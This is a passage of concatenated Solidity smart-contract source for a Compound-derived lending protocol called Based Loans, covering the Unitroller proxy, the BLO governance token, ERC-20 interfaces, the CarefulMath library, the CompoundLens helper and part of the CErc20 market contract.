delegated to the `comptrollerImplementation`. * CTokens should reference this contract as their comptroller. */ contract Unitroller is UnitrollerAdminStorage, ComptrollerErrorReporter { /** * @notice Emitted when pendingComptrollerImplementation is changed */ event NewPendingImplementation(address oldPendingImplementation, address newPendingImplementation); /** * @notice Emitted when pendingComptrollerImplementation is accepted, which means comptroller implementation is updated */ event NewImplementation(address oldImplementation, address newImplementation); /** * @notice Emitted when pendingAdmin is changed */ event NewPendingAdmin(address oldPendingAdmin, address newPendingAdmin); /** * @notice Emitted when pendingAdmin is accepted, which means admin is updated */ event NewAdmin(address oldAdmin, address newAdmin); constructor() public { // Set admin to caller admin = msg.sender; } /*** Admin Functions ***/ function _setPendingImplementation(address newPendingImplementation) public returns (uint) { if (msg.sender != admin) { return fail(Error.UNAUTHORIZED, FailureInfo.SET_PENDING_IMPLEMENTATION_OWNER_CHECK); } address oldPendingImplementation = pendingComptrollerImplementation; pendingComptrollerImplementation = newPendingImplementation; emit NewPendingImplementation(oldPendingImplementation, pendingComptrollerImplementation); return uint(Error.NO_ERROR); } /** * @notice Accepts new implementation of comptroller. msg.sender must be pendingImplementation * @dev Admin function for new implementation to accept it's role as implementation * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details) */ function _acceptImplementation() public returns (uint) { // Check caller is pendingImplementation and pendingImplementation ≠ address(0) if (msg.sender != pendingComptrollerImplementation || pendingComptrollerImplementation == address(0)) { return fail(Error.UNAUTHORIZED, FailureInfo.ACCEPT_PENDING_IMPLEMENTATION_ADDRESS_CHECK); } // Save current values for inclusion in log address oldImplementation = comptrollerImplementation; address oldPendingImplementation = pendingComptrollerImplementation; comptrollerImplementation = pendingComptrollerImplementation; pendingComptrollerImplementation = address(0); emit NewImplementation(oldImplementation, comptrollerImplementation); emit NewPendingImplementation(oldPendingImplementation, pendingComptrollerImplementation); return uint(Error.NO_ERROR); } /** * @notice Begins transfer of admin rights. The newPendingAdmin must call `_acceptAdmin` to finalize the transfer. * @dev Admin function to begin change of admin. The newPendingAdmin must call `_acceptAdmin` to finalize the transfer. * @param newPendingAdmin New pending admin. * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details) */ function _setPendingAdmin(address newPendingAdmin) public returns (uint) { // Check caller = admin if (msg.sender != admin) { return fail(Error.UNAUTHORIZED, FailureInfo.SET_PENDING_ADMIN_OWNER_CHECK); } // Save current value, if any, for inclusion in log address oldPendingAdmin = pendingAdmin; // Store pendingAdmin with value newPendingAdmin pendingAdmin = newPendingAdmin; // Emit NewPendingAdmin(oldPendingAdmin, newPendingAdmin) emit NewPendingAdmin(oldPendingAdmin, newPendingAdmin); return uint(Error.NO_ERROR); } /** * @notice Accepts transfer of admin rights. msg.sender must be pendingAdmin * @dev Admin function for pending admin to accept role and update admin * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details) */ function _acceptAdmin() public returns (uint) { // Check caller is pendingAdmin and pendingAdmin ≠ address(0) if (msg.sender != pendingAdmin || msg.sender == address(0)) { return fail(Error.UNAUTHORIZED, FailureInfo.ACCEPT_ADMIN_PENDING_ADMIN_CHECK); } // Save current values for inclusion in log address oldAdmin = admin; address oldPendingAdmin = pendingAdmin; // Store admin with value pendingAdmin admin = pendingAdmin; // Clear the pending value pendingAdmin = address(0); emit NewAdmin(oldAdmin, admin); emit NewPendingAdmin(oldPendingAdmin, pendingAdmin); return uint(Error.NO_ERROR); } /** * @dev Delegates execution to an implementation contract. * It returns to the external caller whatever the implementation returns * or forwards reverts. */ fallback () payable external { // delegate all other functions to current implementation (bool success, ) = comptrollerImplementation.delegatecall(msg.data); assembly { let free_mem_ptr := mload(0x40) returndatacopy(free_mem_ptr, 0, returndatasize()) switch success case 0 { revert(free_mem_ptr, returndatasize()) } default { return(free_mem_ptr, returndatasize()) } } } } // SPDX-License-Identifier: MIT pragma solidity 0.6.12; pragma experimental ABIEncoderV2; contract Blo { /// @notice EIP-20 token name for this token string public constant name = "Based Loans Ownership"; /// @notice EIP-20 token symbol for this token string public constant symbol = "BLO"; /// @notice EIP-20 token decimals for this token uint8 public constant decimals = 18; /// @notice Total number of tokens in circulation uint public constant totalSupply = 100000000e18; // 100 million BLO /// @notice Allowance amounts on behalf of others mapping (address => mapping (address => uint96)) internal allowances; /// @notice Official record of token balances for each account mapping (address => uint96) internal balances; /// @notice A record of each accounts delegate mapping (address => address) public delegates; /// @notice A checkpoint for marking number of votes from a given block struct Checkpoint { uint32 fromBlock; uint96 votes; } /// @notice A record of votes checkpoints for each account, by index mapping (address => mapping (uint32 => Checkpoint)) public checkpoints; /// @notice The number of checkpoints for each account mapping (address => uint32) public numCheckpoints; /// @notice The EIP-712 typehash for the contract's domain bytes32 public constant DOMAIN_TYPEHASH = keccak256("EIP712Domain(string name,uint256 chainId,address verifyingContract)"); /// @notice The EIP-712 typehash for the delegation struct used by the contract bytes32 public constant DELEGATION_TYPEHASH = keccak256("Delegation(address delegatee,uint256 nonce,uint256 expiry)"); /// @notice A record of states for signing / validating signatures mapping (address => uint) public nonces; /// @notice An event thats emitted when an account changes its delegate event DelegateChanged(address indexed delegator, address indexed fromDelegate, address indexed toDelegate); /// @notice An event thats emitted when a delegate account's vote balance changes event DelegateVotesChanged(address indexed delegate, uint previousBalance, uint newBalance); /// @notice The standard EIP-20 transfer event event Transfer(address indexed from, address indexed to, uint256 amount); /// @notice The standard EIP-20 approval event event Approval(address indexed owner, address indexed spender, uint256 amount); /** * @notice Construct a new Comp token * @param account The initial account to grant all the tokens */ constructor(address account) public { balances[account] = uint96(totalSupply); emit Transfer(address(0), account, totalSupply); } /** * @notice Get the number of tokens `spender` is approved to spend on behalf of `account` * @param account The address of the account holding the funds * @param spender The address of the account spending the funds * @return The number of tokens approved */ function allowance(address account, address spender) external view returns (uint) { return allowances[account][spender]; } /** * @notice Approve `spender` to transfer up to `amount` from `src` * @dev This will overwrite the approval amount for `spender` * and is subject to issues noted [here](https://eips.ethereum.org/EIPS/eip-20#approve) * @param spender The address of the account which may transfer tokens * @param rawAmount The number of tokens that are approved (2^256-1 means infinite) * @return Whether or not the approval succeeded */ function approve(address spender, uint rawAmount) external returns (bool) { uint96 amount; if (rawAmount == uint(-1)) { amount = uint96(-1); } else { amount = safe96(rawAmount, "Comp::approve: amount exceeds 96 bits"); } allowances[msg.sender][spender] = amount; emit Approval(msg.sender, spender, amount); return true; } /** * @notice Get the number of tokens held by the `account` * @param account The address of the account to get the balance of * @return The number of tokens held */ function balanceOf(address account) external view returns (uint) { return balances[account]; } /** * @notice Transfer `amount` tokens from `msg.sender` to `dst` * @param dst The address of the destination account * @param rawAmount The number of tokens to transfer * @return Whether or not the transfer succeeded */ function transfer(address dst, uint rawAmount) external returns (bool) { uint96 amount = safe96(rawAmount, "Comp::transfer: amount exceeds 96 bits"); _transferTokens(msg.sender, dst, amount); return true; } /** * @notice Transfer `amount` tokens from `src` to `dst` * @param src The address of the source account * @param dst The address of the destination account * @param rawAmount The number of tokens to transfer * @return Whether or not the transfer succeeded */ function transferFrom(address src, address dst, uint rawAmount) external returns (bool) { address spender = msg.sender; uint96 spenderAllowance = allowances[src][spender]; uint96 amount = safe96(rawAmount, "Comp::approve: amount exceeds 96 bits"); if (spender != src && spenderAllowance != uint96(-1)) { uint96 newAllowance = sub96(spenderAllowance, amount, "Comp::transferFrom: transfer amount exceeds spender allowance"); allowances[src][spender] = newAllowance; emit Approval(src, spender, newAllowance); } _transferTokens(src, dst, amount); return true; } /** * @notice Delegate votes from `msg.sender` to `delegatee` * @param delegatee The address to delegate votes to */ function delegate(address delegatee) public { return _delegate(msg.sender, delegatee); } /** * @notice Delegates votes from signatory to `delegatee` * @param delegatee The address to delegate votes to * @param nonce The contract state required to match the signature * @param expiry The time at which to expire the signature * @param v The recovery byte of the signature * @param r Half of the ECDSA signature pair * @param s Half of the ECDSA signature pair */ function delegateBySig(address delegatee, uint nonce, uint expiry, uint8 v, bytes32 r, bytes32 s) public { bytes32 domainSeparator = keccak256(abi.encode(DOMAIN_TYPEHASH, keccak256(bytes(name)), getChainId(), address(this))); bytes32 structHash = keccak256(abi.encode(DELEGATION_TYPEHASH, delegatee, nonce, expiry)); bytes32 digest = keccak256(abi.encodePacked("\x19\x01", domainSeparator, structHash)); address signatory = ecrecover(digest, v, r, s); require(signatory != address(0), "Comp::delegateBySig: invalid signature"); require(nonce == nonces[signatory]++, "Comp::delegateBySig: invalid nonce"); require(now <= expiry, "Comp::delegateBySig: signature expired"); return _delegate(signatory, delegatee); } /** * @notice Gets the current votes balance for `account` * @param account The address to get votes balance * @return The number of current votes for `account` */ function getCurrentVotes(address account) external view returns (uint96) { uint32 nCheckpoints = numCheckpoints[account]; return nCheckpoints > 0 ? checkpoints[account][nCheckpoints - 1].votes : 0; } /** * @notice Determine the prior number of votes for an account as of a block number * @dev Block number must be a finalized block or else this function will revert to prevent misinformation. * @param account The address of the account to check * @param blockNumber The block number to get the vote balance at * @return The number of votes the account had as of the given block */ function getPriorVotes(address account, uint blockNumber) public view returns (uint96) { require(blockNumber < block.number, "Comp::getPriorVotes: not yet determined"); uint32 nCheckpoints = numCheckpoints[account]; if (nCheckpoints == 0) { return 0; } // First check most recent balance if (checkpoints[account][nCheckpoints - 1].fromBlock <= blockNumber) { return checkpoints[account][nCheckpoints - 1].votes; } // Next check implicit zero balance if (checkpoints[account][0].fromBlock > blockNumber) { return 0; } uint32 lower = 0; uint32 upper = nCheckpoints - 1; while (upper > lower) { uint32 center = upper - (upper - lower) / 2; // ceil, avoiding overflow Checkpoint memory cp = checkpoints[account][center]; if (cp.fromBlock == blockNumber) { return cp.votes; } else if (cp.fromBlock < blockNumber) { lower = center; } else { upper = center - 1; } } return checkpoints[account][lower].votes; } function _delegate(address delegator, address delegatee) internal { address currentDelegate = delegates[delegator]; uint96 delegatorBalance = balances[delegator]; delegates[delegator] = delegatee; emit DelegateChanged(delegator, currentDelegate, delegatee); _moveDelegates(currentDelegate, delegatee, delegatorBalance); } function _transferTokens(address src, address dst, uint96 amount) internal { require(src != address(0), "Comp::_transferTokens: cannot transfer from the zero address"); require(dst != address(0), "Comp::_transferTokens: cannot transfer to the zero address"); balances[src] = sub96(balances[src], amount, "Comp::_transferTokens: transfer amount exceeds balance"); balances[dst] = add96(balances[dst], amount, "Comp::_transferTokens: transfer amount overflows"); emit Transfer(src, dst, amount); _moveDelegates(delegates[src], delegates[dst], amount); } function _moveDelegates(address srcRep, address dstRep, uint96 amount) internal { if (srcRep != dstRep && amount > 0) { if (srcRep != address(0)) { uint32 srcRepNum = numCheckpoints[srcRep]; uint96 srcRepOld = srcRepNum > 0 ? checkpoints[srcRep][srcRepNum - 1].votes : 0; uint96 srcRepNew = sub96(srcRepOld, amount, "Comp::_moveVotes: vote amount underflows"); _writeCheckpoint(srcRep, srcRepNum, srcRepOld, srcRepNew); } if (dstRep != address(0)) { uint32 dstRepNum = numCheckpoints[dstRep]; uint96 dstRepOld = dstRepNum > 0 ? checkpoints[dstRep][dstRepNum - 1].votes : 0; uint96 dstRepNew = add96(dstRepOld, amount, "Comp::_moveVotes: vote amount overflows"); _writeCheckpoint(dstRep, dstRepNum, dstRepOld, dstRepNew); } } } function _writeCheckpoint(address delegatee, uint32 nCheckpoints, uint96 oldVotes, uint96 newVotes) internal { uint32 blockNumber = safe32(block.number, "Comp::_writeCheckpoint: block number exceeds 32 bits"); if (nCheckpoints > 0 && checkpoints[delegatee][nCheckpoints - 1].fromBlock == blockNumber) { checkpoints[delegatee][nCheckpoints - 1].votes = newVotes; } else { checkpoints[delegatee][nCheckpoints] = Checkpoint(blockNumber, newVotes); numCheckpoints[delegatee] = nCheckpoints + 1; } emit DelegateVotesChanged(delegatee, oldVotes, newVotes); } function safe32(uint n, string memory errorMessage) internal pure returns (uint32) { require(n < 2**32, errorMessage); return uint32(n); } function safe96(uint n, string memory errorMessage) internal pure returns (uint96) { require(n < 2**96, errorMessage); return uint96(n); } function add96(uint96 a, uint96 b, string memory errorMessage) internal pure returns (uint96) { uint96 c = a + b; require(c >= a, errorMessage); return c; } function sub96(uint96 a, uint96 b, string memory errorMessage) internal pure returns (uint96) { require(b <= a, errorMessage); return a - b; } function getChainId() internal pure returns (uint) { uint256 chainId; assembly { chainId := chainid() } return chainId; } } // SPDX-License-Identifier: MIT pragma solidity 0.6.12; /** * @title ERC 20 Token Standard Interface * https://eips.ethereum.org/EIPS/eip-20 */ interface EIP20Interface { function name() external view returns (string memory); function symbol() external view returns (string memory); function decimals() external view returns (uint8); /** * @notice Get the total number of tokens in circulation * @return The supply of tokens */ function totalSupply() external view returns (uint256); /** * @notice Gets the balance of the specified address * @param owner The address from which the balance will be retrieved * @return balance The balance */ function balanceOf(address owner) external view returns (uint256 balance); /** * @notice Transfer `amount` tokens from `msg.sender` to `dst` * @param dst The address of the destination account * @param amount The number of tokens to transfer * @return success Whether or not the transfer succeeded */ function transfer(address dst, uint256 amount) external returns (bool success); /** * @notice Transfer `amount` tokens from `src` to `dst` * @param src The address of the source account * @param dst The address of the destination account * @param amount The number of tokens to transfer * @return success Whether or not the transfer succeeded */ function transferFrom(address src, address dst, uint256 amount) external returns (bool success); /** * @notice Approve `spender` to transfer up to `amount` from `src` * @dev This will overwrite the approval amount for `spender` * and is subject to issues noted [here](https://eips.ethereum.org/EIPS/eip-20#approve) * @param spender The address of the account which may transfer tokens * @param amount The number of tokens that are approved (-1 means infinite) * @return success Whether or not the approval succeeded */ function approve(address spender, uint256 amount) external returns (bool success); /** * @notice Get the current allowance from `owner` for `spender` * @param owner The address of the account which owns the tokens to be spent * @param spender The address of the account which may transfer tokens * @return remaining The number of tokens allowed to be spent (-1 means infinite) */ function allowance(address owner, address spender) external view returns (uint256 remaining); event Transfer(address indexed from, address indexed to, uint256 amount); event Approval(address indexed owner, address indexed spender, uint256 amount); } // SPDX-License-Identifier: MIT pragma solidity 0.6.12; /** * @title EIP20NonStandardInterface * @dev Version of ERC20 with no return values for `transfer` and `transferFrom` * See https://medium.com/coinmonks/missing-return-value-bug-at-least-130-tokens-affected-d67bf08521ca */ interface EIP20NonStandardInterface { /** * @notice Get the total number of tokens in circulation * @return The supply of tokens */ function totalSupply() external view returns (uint256); /** * @notice Gets the balance of the specified address * @param owner The address from which the balance will be retrieved * @return balance The balance */ function balanceOf(address owner) external view returns (uint256 balance); /// /// !!!!!!!!!!!!!! /// !!! NOTICE !!! `transfer` does not return a value, in violation of the ERC-20 specification /// !!!!!!!!!!!!!! /// /** * @notice Transfer `amount` tokens from `msg.sender` to `dst` * @param dst The address of the destination account * @param amount The number of tokens to transfer */ function transfer(address dst, uint256 amount) external; /// /// !!!!!!!!!!!!!! /// !!! NOTICE !!! `transferFrom` does not return a value, in violation of the ERC-20 specification /// !!!!!!!!!!!!!! /// /** * @notice Transfer `amount` tokens from `src` to `dst` * @param src The address of the source account * @param dst The address of the destination account * @param amount The number of tokens to transfer */ function transferFrom(address src, address dst, uint256 amount) external; /** * @notice Approve `spender` to transfer up to `amount` from `src` * @dev This will overwrite the approval amount for `spender` * and is subject to issues noted [here](https://eips.ethereum.org/EIPS/eip-20#approve) * @param spender The address of the account which may transfer tokens * @param amount The number of tokens that are approved * @return success Whether or not the approval succeeded */ function approve(address spender, uint256 amount) external returns (bool success); /** * @notice Get the current allowance from `owner` for `spender` * @param owner The address of the account which owns the tokens to be spent * @param spender The address of the account which may transfer tokens * @return remaining The number of tokens allowed to be spent */ function allowance(address owner, address spender) external view returns (uint256 remaining); event Transfer(address indexed from, address indexed to, uint256 amount); event Approval(address indexed owner, address indexed spender, uint256 amount); } // SPDX-License-Identifier: MIT pragma solidity 0.6.12; /** * @title Careful Math * @author Compound * @notice Derived from OpenZeppelin's SafeMath library * https://github.com/OpenZeppelin/openzeppelin-solidity/blob/master/contracts/math/SafeMath.sol */ contract CarefulMath { /** * @dev Possible error codes that we can return */ enum MathError { NO_ERROR, DIVISION_BY_ZERO, INTEGER_OVERFLOW, INTEGER_UNDERFLOW } /** * @dev Multiplies two numbers, returns an error on overflow. */ function mulUInt(uint a, uint b) internal pure returns (MathError, uint) { if (a == 0) { return (MathError.NO_ERROR, 0); } uint c = a * b; if (c / a != b) { return (MathError.INTEGER_OVERFLOW, 0); } else { return (MathError.NO_ERROR, c); } } /** * @dev Integer division of two numbers, truncating the quotient. */ function divUInt(uint a, uint b) internal pure returns (MathError, uint) { if (b == 0) { return (MathError.DIVISION_BY_ZERO, 0); } return (MathError.NO_ERROR, a / b); } /** * @dev Subtracts two numbers, returns an error on overflow (i.e. if subtrahend is greater than minuend). */ function subUInt(uint a, uint b) internal pure returns (MathError, uint) { if (b <= a) { return (MathError.NO_ERROR, a - b); } else { return (MathError.INTEGER_UNDERFLOW, 0); } } /** * @dev Adds two numbers, returns an error on overflow. */ function addUInt(uint a, uint b) internal pure returns (MathError, uint) { uint c = a + b; if (c >= a) { return (MathError.NO_ERROR, c); } else { return (MathError.INTEGER_OVERFLOW, 0); } } /** * @dev add a and b and then subtract c */ function addThenSubUInt(uint a, uint b, uint c) internal pure returns (MathError, uint) { (MathError err0, uint sum) = addUInt(a, b); if (err0 != MathError.NO_ERROR) { return (err0, 0); } return subUInt(sum, c); } } // SPDX-License-Identifier: MIT pragma solidity 0.6.12; pragma experimental ABIEncoderV2; import "../CErc20.sol"; import "../CToken.sol"; import "../PriceOracle.sol"; import "../EIP20Interface.sol"; import "../Governance/GovernorAlpha.sol"; import "../Governance/Blo.sol"; interface ComptrollerLensInterface { function markets(address) external view returns (bool, uint); function oracle() external view returns (PriceOracle); function getAccountLiquidity(address) external view returns (uint, uint, uint); function getAssetsIn(address) external view returns (CToken[] memory); function claimComp(address) external; function compAccrued(address) external view returns (uint); } contract CompoundLens { struct CTokenMetadata { address cToken; uint exchangeRateCurrent; uint supplyRatePerBlock; uint borrowRatePerBlock; uint reserveFactorMantissa; uint totalBorrows; uint totalReserves; uint totalSupply; uint totalCash; bool isListed; uint collateralFactorMantissa; address underlyingAssetAddress; uint cTokenDecimals; uint underlyingDecimals; } function cTokenMetadata(CToken cToken) public returns (CTokenMetadata memory) { uint exchangeRateCurrent = cToken.exchangeRateCurrent(); ComptrollerLensInterface comptroller = ComptrollerLensInterface(address(cToken.comptroller())); (bool isListed, uint collateralFactorMantissa) = comptroller.markets(address(cToken)); address underlyingAssetAddress; uint underlyingDecimals; if (compareStrings(cToken.symbol(), "bETH")) { underlyingAssetAddress = address(0); underlyingDecimals = 18; } else { CErc20 cErc20 = CErc20(address(cToken)); underlyingAssetAddress = cErc20.underlying(); underlyingDecimals = EIP20Interface(cErc20.underlying()).decimals(); } return CTokenMetadata({ cToken: address(cToken), exchangeRateCurrent: exchangeRateCurrent, supplyRatePerBlock: cToken.supplyRatePerBlock(), borrowRatePerBlock: cToken.borrowRatePerBlock(), reserveFactorMantissa: cToken.reserveFactorMantissa(), totalBorrows: cToken.totalBorrows(), totalReserves: cToken.totalReserves(), totalSupply: cToken.totalSupply(), totalCash: cToken.getCash(), isListed: isListed, collateralFactorMantissa: collateralFactorMantissa, underlyingAssetAddress: underlyingAssetAddress, cTokenDecimals: cToken.decimals(), underlyingDecimals: underlyingDecimals }); } function cTokenMetadataAll(CToken[] calldata cTokens) external returns (CTokenMetadata[] memory) { uint cTokenCount = cTokens.length; CTokenMetadata[] memory res = new CTokenMetadata[](cTokenCount); for (uint i = 0; i < cTokenCount; i++) { res[i] = cTokenMetadata(cTokens[i]); } return res; } struct CTokenBalances { address cToken; uint balanceOf; uint borrowBalanceCurrent; uint balanceOfUnderlying; uint tokenBalance; uint tokenAllowance; } function cTokenBalances(CToken cToken, address payable account) public returns (CTokenBalances memory) { uint balanceOf = cToken.balanceOf(account); uint borrowBalanceCurrent = cToken.borrowBalanceCurrent(account); uint balanceOfUnderlying = cToken.balanceOfUnderlying(account); uint tokenBalance; uint tokenAllowance; if (compareStrings(cToken.symbol(), "bETH")) { tokenBalance = account.balance; tokenAllowance = account.balance; } else { CErc20 cErc20 = CErc20(address(cToken)); EIP20Interface underlying = EIP20Interface(cErc20.underlying()); tokenBalance = underlying.balanceOf(account); tokenAllowance = underlying.allowance(account, address(cToken)); } return CTokenBalances({ cToken: address(cToken), balanceOf: balanceOf, borrowBalanceCurrent: borrowBalanceCurrent, balanceOfUnderlying: balanceOfUnderlying, tokenBalance: tokenBalance, tokenAllowance: tokenAllowance }); } function cTokenBalancesAll(CToken[] calldata cTokens, address payable account) external returns (CTokenBalances[] memory) { uint cTokenCount = cTokens.length; CTokenBalances[] memory res = new CTokenBalances[](cTokenCount); for (uint i = 0; i < cTokenCount; i++) { res[i] = cTokenBalances(cTokens[i], account); } return res; } struct CTokenUnderlyingPrice { address cToken; uint underlyingPrice; } function cTokenUnderlyingPrice(CToken cToken) public returns (CTokenUnderlyingPrice memory) { ComptrollerLensInterface comptroller = ComptrollerLensInterface(address(cToken.comptroller())); PriceOracle priceOracle = comptroller.oracle(); return CTokenUnderlyingPrice({ cToken: address(cToken), underlyingPrice: priceOracle.getUnderlyingPrice(cToken) }); } function cTokenUnderlyingPriceAll(CToken[] calldata cTokens) external returns (CTokenUnderlyingPrice[] memory) { uint cTokenCount = cTokens.length; CTokenUnderlyingPrice[] memory res = new CTokenUnderlyingPrice[](cTokenCount); for (uint i = 0; i < cTokenCount; i++) { res[i] = cTokenUnderlyingPrice(cTokens[i]); } return res; } struct AccountLimits { CToken[] markets; uint liquidity; uint shortfall; } function getAccountLimits(ComptrollerLensInterface comptroller, address account) public returns (AccountLimits memory) { (uint errorCode, uint liquidity, uint shortfall) = comptroller.getAccountLiquidity(account); require(errorCode == 0); return AccountLimits({ markets: comptroller.getAssetsIn(account), liquidity: liquidity, shortfall: shortfall }); } struct GovReceipt { uint proposalId; bool hasVoted; bool support; uint96 votes; } function getGovReceipts(GovernorAlpha governor, address voter, uint[] memory proposalIds) public view returns (GovReceipt[] memory) { uint proposalCount = proposalIds.length; GovReceipt[] memory res = new GovReceipt[](proposalCount); for (uint i = 0; i < proposalCount; i++) { GovernorAlpha.Receipt memory receipt = governor.getReceipt(proposalIds[i], voter); res[i] = GovReceipt({ proposalId: proposalIds[i], hasVoted: receipt.hasVoted, support: receipt.support, votes: receipt.votes }); } return res; } struct GovProposal { uint proposalId; address proposer; uint eta; address[] targets; uint[] values; string[] signatures; bytes[] calldatas; uint startBlock; uint endBlock; uint forVotes; uint againstVotes; bool canceled; bool executed; } function setProposal(GovProposal memory res, GovernorAlpha governor, uint proposalId) internal view { ( , address proposer, uint eta, uint startBlock, uint endBlock, uint forVotes, uint againstVotes, bool canceled, bool executed ) = governor.proposals(proposalId); res.proposalId = proposalId; res.proposer = proposer; res.eta = eta; res.startBlock = startBlock; res.endBlock = endBlock; res.forVotes = forVotes; res.againstVotes = againstVotes; res.canceled = canceled; res.executed = executed; } function getGovProposals(GovernorAlpha governor, uint[] calldata proposalIds) external view returns (GovProposal[] memory) { GovProposal[] memory res = new GovProposal[](proposalIds.length); for (uint i = 0; i < proposalIds.length; i++) { ( address[] memory targets, uint[] memory values, string[] memory signatures, bytes[] memory calldatas ) = governor.getActions(proposalIds[i]); res[i] = GovProposal({ proposalId: 0, proposer: address(0), eta: 0, targets: targets, values: values, signatures: signatures, calldatas: calldatas, startBlock: 0, endBlock: 0, forVotes: 0, againstVotes: 0, canceled: false, executed: false }); setProposal(res[i], governor, proposalIds[i]); } return res; } struct CompBalanceMetadata { uint balance; uint votes; address delegate; } function getCompBalanceMetadata(Blo comp, address account) external view returns (CompBalanceMetadata memory) { return CompBalanceMetadata({ balance: comp.balanceOf(account), votes: uint256(comp.getCurrentVotes(account)), delegate: comp.delegates(account) }); } struct CompBalanceMetadataExt { uint balance; uint votes; address delegate; uint allocated; } function getCompBalanceMetadataExt(Blo comp, ComptrollerLensInterface comptroller, address account) external returns (CompBalanceMetadataExt memory) { uint balance = comp.balanceOf(account); comptroller.claimComp(account); uint newBalance = comp.balanceOf(account); uint accrued = comptroller.compAccrued(account); uint total = add(accrued, newBalance, "sum comp total"); uint allocated = sub(total, balance, "sub allocated"); return CompBalanceMetadataExt({ balance: balance, votes: uint256(comp.getCurrentVotes(account)), delegate: comp.delegates(account), allocated: allocated }); } struct CompVotes { uint blockNumber; uint votes; } function getCompVotes(Blo comp, address account, uint32[] calldata blockNumbers) external view returns (CompVotes[] memory) { CompVotes[] memory res = new CompVotes[](blockNumbers.length); for (uint i = 0; i < blockNumbers.length; i++) { res[i] = CompVotes({ blockNumber: uint256(blockNumbers[i]), votes: uint256(comp.getPriorVotes(account, blockNumbers[i])) }); } return res; } function compareStrings(string memory a, string memory b) internal pure returns (bool) { return (keccak256(abi.encodePacked((a))) == keccak256(abi.encodePacked((b)))); } function add(uint a, uint b, string memory errorMessage) internal pure returns (uint) { uint c = a + b; require(c >= a, errorMessage); return c; } function sub(uint a, uint b, string memory errorMessage) internal pure returns (uint) { require(b <= a, errorMessage); uint c = a - b; return c; } } // SPDX-License-Identifier: MIT pragma solidity 0.6.12; import "./CToken.sol"; /** * @title Compound's CErc20 Contract * @notice CTokens which wrap an EIP-20 underlying * @author Compound */ contract CErc20 is CToken, CErc20Interface { /** * @notice Initialize the new money market * @param underlying_ The address of the underlying asset * @param comptroller_ The address of the Comptroller * @param interestRateModel_ The address of the interest rate model * @param initialExchangeRateMantissa_ The initial exchange rate, scaled by 1e18 * @param name_ ERC-20 name of this token * @param symbol_ ERC-20 symbol of this token * @param decimals_ ERC-20 decimal precision of this token */ function initialize(address underlying_, ComptrollerInterface comptroller_, InterestRateModel interestRateModel_, uint initialExchangeRateMantissa_, string memory name_, string memory symbol_, uint8 decimals_) public { // CToken initialize does the bulk of the work super.initialize(comptroller_, interestRateModel_, initialExchangeRateMantissa_, name_, symbol_, decimals_); // Set underlying and sanity check it underlying = underlying_; EIP20Interface(underlying).totalSupply(); } /*** User Interface ***/ /** * @notice Sender supplies assets into the market and receives cTokens in exchange * @dev Accrues interest whether or not the operation succeeds, unless reverted * @param mintAmount The amount of the underlying asset to supply * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details) */ function mint(uint mintAmount) external override returns (uint) { (uint err,) = mintInternal(mintAmount); return err; } /** * @notice Sender redeems cTokens in exchange for the underlying asset * @dev Accrues interest whether or not the operation succeeds, unless reverted * @param redeemTokens The number of cTokens to redeem into underlying * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details) */ function redeem(uint redeemTokens) external override returns (uint) { return redeemInternal(redeemTokens); } /** * @notice Sender redeems cTokens in exchange for a specified amount of underlying asset * @dev Accrues interest whether or not the operation succeeds, unless reverted * @param redeemAmount The amount of underlying to redeem * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details) */ function redeemUnderlying(uint redeemAmount) external override returns (uint) { return redeemUnderlyingInternal(redeemAmount); } /** * @notice Sender borrows assets from the protocol to their own address * @param borrowAmount The amount of the underlying asset to borrow * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details) */ function borrow(uint borrowAmount) external override returns (uint) { return borrowInternal(borrowAmount); } /** * @notice Sender repays their own borrow * @param repayAmount The amount to repay * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details) */ function repayBorrow(uint repayAmount) external override returns (uint) { (uint err,) = repayBorrowInternal(repayAmount); return err; } /** * @notice Sender repays a borrow belonging to borrower * @param borrower the account with the debt being payed off * @param repayAmount The amount to repay * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details) */ function repayBorrowBehalf(address borrower, uint repayAmount) external override returns (uint) { (uint err,) = repayBorrowBehalfInternal(borrower, repayAmount); return err; } /** * @notice The sender liquidates the borrowers collateral. * The collateral seized is transferred to the liquidator. * @param borrower The borrower of this cToken to be liquidated * @param repayAmount The amount of the underlying borrowed asset to repay * @param cTokenCollateral The market in which to seize collateral from the borrower * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details) */ function liquidateBorrow(address borrower, uint repayAmount, CTokenInterface cTokenCollateral) external override returns (uint) { (uint err,) = liquidateBorrowInternal(borrower, repayAmount, cTokenCollateral); return err; } /** * @notice The sender adds to reserves. * @param addAmount The amount fo underlying token to add as reserves * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details) */ function _addReserves(uint addAmount) external override returns (uint) { return _addReservesInternal(addAmount); } /** * @notice A public function to sweep accidental ERC-20 transfers to this contract. Tokens are sent to admin (timelock) * @param token The address of the ERC-20 token to sweep */ function sweepToken(EIP20NonStandardInterface token) external { require(address(token) != underlying, "CErc20::sweepToken: can not sweep underlying token"); uint256 balance = token.balanceOf(address(this)); token.transfer(admin, balance); } /*** Safe Token ***/ /** * @notice Gets balance of this contract in terms of the underlying * @dev This excludes the value of the current message, if any * @return The quantity of underlying tokens owned by this contract */ function getCashPrior() internal view override returns (uint) { EIP20Interface token = EIP20Interface(underlying); return token.balanceOf(address(this)); } /** * @dev Similar to EIP20 transfer, except it handles a False result from `transferFrom` and reverts in that case. * This will revert due to insufficient balance or insufficient allowance. * This function returns the actual amount received, * which may be less than `amount` if there is a fee attached to the transfer. * * Note: This wrapper safely handles non-standard ERC-20 tokens that do not return a value. * See here: https://medium.com/coinmonks/missing-return-value-bug-at-least-130-tokens-affected-d67bf08521ca */ function doTransferIn(address from, uint amount) internal override returns (uint) { EIP20NonStandardInterface token = EIP20NonStandardInterface(underlying); uint balanceBefore = EIP20Interface(underlying).balanceOf(address(this)); token.transferFrom(from, address(this), amount); bool success; assembly { switch returndatasize() case 0 { // This is a non-standard ERC-20 success := not(0) // set success to true } case 32 { // This is a compliant ERC-20 returndatacopy(0, 0, 32) success := mload(0) // Set `success = returndata` of external call } default { // This is an excessively non-compliant ERC-20, revert. revert(0, 0) } } require(success, "TOKEN_TRANSFER_IN_FAILED"); // Calculate the amount that was *actually* transferred uint balanceAfter = 